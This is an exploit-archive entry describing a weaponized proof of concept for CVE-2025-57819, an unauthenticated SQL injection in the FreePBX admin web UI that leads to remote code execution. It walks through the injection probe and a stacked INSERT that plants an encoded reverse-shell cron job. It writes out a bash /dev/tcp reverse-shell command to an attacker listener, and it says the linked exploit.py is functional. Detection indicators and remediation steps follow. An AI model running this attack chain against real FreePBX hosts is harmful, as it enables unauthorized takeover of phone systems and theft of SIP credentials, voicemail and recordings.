FreePBX Unauthenticated SQL Injection to RCE (CVE-2025-57819)
by K3ysTr0K3R · 2026-07-06
- Severity
- Critical
- CVE
- CVE-2025-57819
- Category
- web
- Affected product
- Sangoma FreePBX administrator web UI (admin/ajax.php, endpoint module)
- Affected versions
- FreePBX 15.x, 16.x, and 17.x prior to 15.0.66 / 16.0.89 / 17.0.3 (per source repository)
- Disclosed
- 2026-07-06
- Patch status
- patched
Tags
References
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-06 |
| Last Updated | 2026-07-06 |
| Author / Researcher | K3ysTr0K3R |
| CVE / Advisory | CVE-2025-57819 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (per NVD) |
| Status | Weaponized |
| Tags | freepbx, sangoma, sqli, unauthenticated, ajax-php, cron-jobs, reverse-shell, voip, asterisk, cwe-89 |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Sangoma FreePBX administrator web UI (admin/ajax.php, endpoint module) |
| Versions Affected | FreePBX 15.x, 16.x, and 17.x prior to 15.0.66 / 16.0.89 / 17.0.3 (per source repository) |
| Language / Platform | Python 3 (requests, rich) targeting PHP-based FreePBX on Linux/Asterisk hosts |
| Authentication Required | No |
| Network Access Required | Yes (HTTP/HTTPS access to the FreePBX admin interface) |
Summary
CVE-2025-57819 is an unauthenticated SQL injection in FreePBX’s admin/ajax.php endpoint handler for the endpoint module, where the brand parameter is concatenated into a backend SQL query without sanitization. The PoC first confirms the injection with an EXTRACTVALUE-based error-based SQLi payload that leaks SELECT USER() output through a MySQL XPATH syntax error, then weaponizes the same injection point to INSERT a malicious row directly into FreePBX’s cron_jobs table. The injected cron entry contains a base64-encoded, hex-embedded reverse-shell one-liner disguised as a legitimate scheduled task, which FreePBX’s own cron execution mechanism runs automatically within ~60-90 seconds, giving the attacker a fully interactive shell on the underlying host with no authentication and no user interaction required.
Root Cause
The endpoint AJAX handler builds a SQL query using the attacker-controlled brand GET parameter without parameterization or escaping. The PoC’s validation payload demonstrates classic error-based SQLi:
| |
A response containing XPATH syntax error alongside freepbxuser confirms the injection reaches the database with the current DB user reflected. The exploitation payload swaps the read-only EXTRACTVALUE probe for a stacked INSERT into cron_jobs, embedding a hex-encoded shell command as the command column value:
| |
Attack Vector
- Attacker sends an unauthenticated
GETtoadmin/ajax.phpwith theEXTRACTVALUEprobe payload in thebrandparameter to confirm the endpoint is vulnerable. - Attacker builds a reverse-shell command (
bash -c 'exec bash -i &>/dev/tcp/LHOST/LPORT <&1'), base64-encodes it, then hex-encodes the base64 string for safe embedding inside the SQL string literal (0x...MySQL hex-string syntax). - Attacker sends a second request with a stacked
INSERTin thebrandparameter, writing a new row into FreePBX’scron_jobstable disguised as asysadmin/revshellscheduled job set to run every minute. - FreePBX’s own cron scheduling mechanism (running with the privileges of the Asterisk/web service user) executes the planted command within roughly 60-90 seconds, decoding the hex/base64 payload and piping it to
bash. - The reverse shell connects back to the attacker’s pre-armed listener, which the PoC starts in a background thread before sending the injection, giving an interactive
bashsession (upgraded viapty.spawn).
Impact
Unauthenticated remote code execution as the FreePBX service user, leading to full compromise of the VoIP/PBX host: theft of SIP credentials, voicemail, and call recordings, creation of persistent administrator accounts, installation of web shells/backdoors, and pivoting into internal telephony and adjacent network infrastructure.
Environment / Lab Setup
Target: Sangoma FreePBX 15.x / 16.x / 17.x (unpatched), reachable admin/ajax.php over HTTP/HTTPS
Attacker: Python 3, pip packages: requests, urllib3, rich
Attacker host must have LPORT reachable from the target (listener bound before injection)
Proof of Concept
PoC Script
See
exploit.pyin this folder.
| |
The script first arms a raw TCP reverse-shell listener on ATTACKER_IP:4444 in a background thread, validates the SQLi via the EXTRACTVALUE probe, then injects the cron-based payload and waits for the FreePBX cron daemon to trigger the callback, dropping into an interactive shell once the connection is received.
Detection & Indicators of Compromise
- HTTP GET requests to /admin/ajax.php with module=FreePBX\modules\endpoint\ajax and a `brand`
parameter containing SQL metacharacters (', EXTRACTVALUE, INSERT INTO, 0x-prefixed hex blobs)
- Unexpected rows in the FreePBX `cron_jobs` database table, especially modulename='sysadmin'
with unfamiliar jobname values or base64/hex-encoded `command` fields
- Outbound TCP connections from the FreePBX host to unfamiliar external IPs shortly after a cron tick
- New interactive shell / bash process spawned by the web server or Asterisk service account
Signs of compromise:
- Presence of unexpected
cron_jobsentries scheduled* * * * *with obfuscated commands - Outbound reverse-shell connections initiated by the PBX host itself
- New administrator accounts or modified FreePBX configuration with no corresponding admin login
- Unusual scheduled tasks, web shells, or modified PHP files discovered during integrity review
Remediation
| Action | Detail |
|---|---|
| Primary fix | Upgrade to FreePBX 15.0.66, 16.0.89, or 17.0.3 or later, which patch the endpoint module’s ajax.php SQL injection |
| Interim mitigation | Do not expose the FreePBX admin interface directly to the internet; restrict access via VPN/allowlist, monitor cron_jobs table integrity, and inspect scheduled tasks for unauthorized entries |
References
Notes
Mirrored from https://github.com/K3ysTr0K3R/CVE-2025-57819 on 2026-07-06. exploit.py contains real, functional SQL injection validation logic against FreePBX’s admin/ajax.php plus a working reverse-shell listener — not a stub.
| |